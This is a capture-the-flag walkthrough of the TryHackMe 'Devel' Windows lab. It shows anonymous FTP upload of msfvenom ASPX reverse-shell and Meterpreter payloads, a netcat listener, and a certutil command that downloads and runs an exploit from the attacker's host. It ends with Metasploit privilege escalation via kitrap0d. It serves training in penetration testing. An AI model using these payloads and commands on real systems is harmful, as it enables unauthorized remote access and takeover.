TryHackMe Devel Walkthrough – Manual and Metasploit Methods#

Nmap Scan#

We begin with a basic nmap scan to discover open ports and services:

1
nmap -sC -sV -p- MACHINE_IP

From the results, we find two key open ports:

• 21 (FTP) – with anonymous login enabled
• 80 (HTTP) – hosting a web server

Step 1: Confirming FTP-HTTP Link#

Visit the website on port 80 – a welcome image (welcome.png) is displayed.

We notice that this file also appears in the FTP directory. This suggests the web server pulls files directly from the FTP root.

To confirm, upload a file (test.txt) using anonymous FTP, then access it via the browser:

1
ftp MACHINE_IP
2
put test.txt

Step 2: Web Tech Detection#

Using Wappalyzer or similar tools, we identify the site runs Microsoft ASP.NET.

After quick research, we confirm .aspx is the extension in use:

Method 1: Manual Exploitation (Netcat)#

Generate a reverse shell payload using msfvenom:

1
msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 -f aspx > rev.aspx

Upload the payload via FTP:

1
ftp MACHINE_IP
2
put rev.aspx

Start a listener:

1
nc -lvnp 4444

Execute the payload via browser:

1
http://MACHINE_IP/rev.aspx

We receive a shell as a low-privileged user:

Privilege Escalation (Manual)#

Run systeminfo to gather system details:

1
systeminfo

Search for known exploits using OS version info:

Search: Windows 7 Enterprise build 7600 x86 exploit

Download with searchsploit, serve via Python:

1
searchsploit -m exploit/windows/local/XXXXXXXX
2
python3 -m http.server 80

Download and run from victim using certutil:

1
certutil -urlcache -f http://YOUR_IP/exploit.exe exploit.exe
2
exploit.exe

Method 2: Automated Exploitation (Metasploit)#

Generate a Meterpreter payload:

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 -f aspx > shell.aspx

Upload it to the server via FTP:

Set up Metasploit multi/handler:

1
use exploit/multi/handler
2
set PAYLOAD windows/meterpreter/reverse_tcp
3
set LHOST YOUR_IP
4
set LPORT 4444
5
run

Trigger the shell:

1
http://MACHINE_IP/shell.aspx

Get Meterpreter access:

Run post-exploitation module:

1
use post/multi/recon/local_exploit_suggester
2
set SESSION 1
3
run

Exploit with ms10_015_kitrap0d:

Conclusion#

Devel demonstrates the risk of misconfigured services (FTP, ASP.NET) and how attackers can exploit them with simple privilege escalation techniques. Both manual and Metasploit methods highlight the same vulnerabilities but with different workflows.